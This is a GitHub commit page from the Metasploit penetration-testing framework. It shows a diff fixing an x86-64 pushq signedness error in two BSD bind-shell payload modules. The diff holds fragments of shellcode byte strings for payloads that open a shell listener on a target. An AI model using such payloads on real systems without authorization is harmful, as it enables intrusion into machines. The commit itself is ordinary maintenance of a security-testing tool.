Skip to content

Commit c35e996

Browse files
committed
Land rapid7#6003, @earthquake's x86-64 pushq signedness error fixed
2 parents 144bf39 + aa01383 commit c35e996

File tree

2 files changed

+6
-4
lines changed

2 files changed

+6
-4
lines changed

modules/payloads/singles/bsd/x64/shell_bind_ipv6_tcp.rb

Lines changed: 3 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -10,7 +10,7 @@
1010

1111
module Metasploit3
1212

13-
CachedSize = 89
13+
CachedSize = 90
1414

1515
include Msf::Payload::Single
1616
include Msf::Payload::Bsd
@@ -46,7 +46,8 @@ def initialize(info = {})
4646
"\x52" +# push %rdx #
4747
"\x52" +# push %rdx #
4848
"\x52" +# push %rdx #
49-
"\x68\x00\x1c\x11\x5c" +# pushq $0x5c111c00 #
49+
"\xba\x00\x1c\x11\x5C" +# mov edx,0x5c111c00 #
50+
"\x52" +# push %rdx #
5051
"\x48\x89\xe6" +# mov %rsp,%rsi #
5152
"\x6a\x1c" +# pushq $0x1c #
5253
"\x5a" +# pop %rdx #

modules/payloads/singles/bsd/x64/shell_bind_tcp_small.rb

Lines changed: 3 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -10,7 +10,7 @@
1010

1111
module Metasploit3
1212

13-
CachedSize = 87
13+
CachedSize = 88
1414

1515
include Msf::Payload::Single
1616
include Msf::Payload::Bsd
@@ -44,7 +44,8 @@ def initialize(info = {})
4444
"\x0f\x05" +# syscall #
4545
"\x48\x97" +# xchg %rax,%rdi #
4646
"\x52" +# push %rdx #
47-
"\x68\x00\x02\x11\x5c" +# pushq $0x5c110200 #
47+
"\xba\x00\x02\x11\x5C" +# mov edx,0x5c110200 #
48+
"\x52" +# push %rdx #
4849
"\x48\x89\xe6" +# mov %rsp,%rsi #
4950
"\x6a\x10" +# pushq $0x10 #
5051
"\x5a" +# pop %rdx #

0 commit comments

Comments
 (0)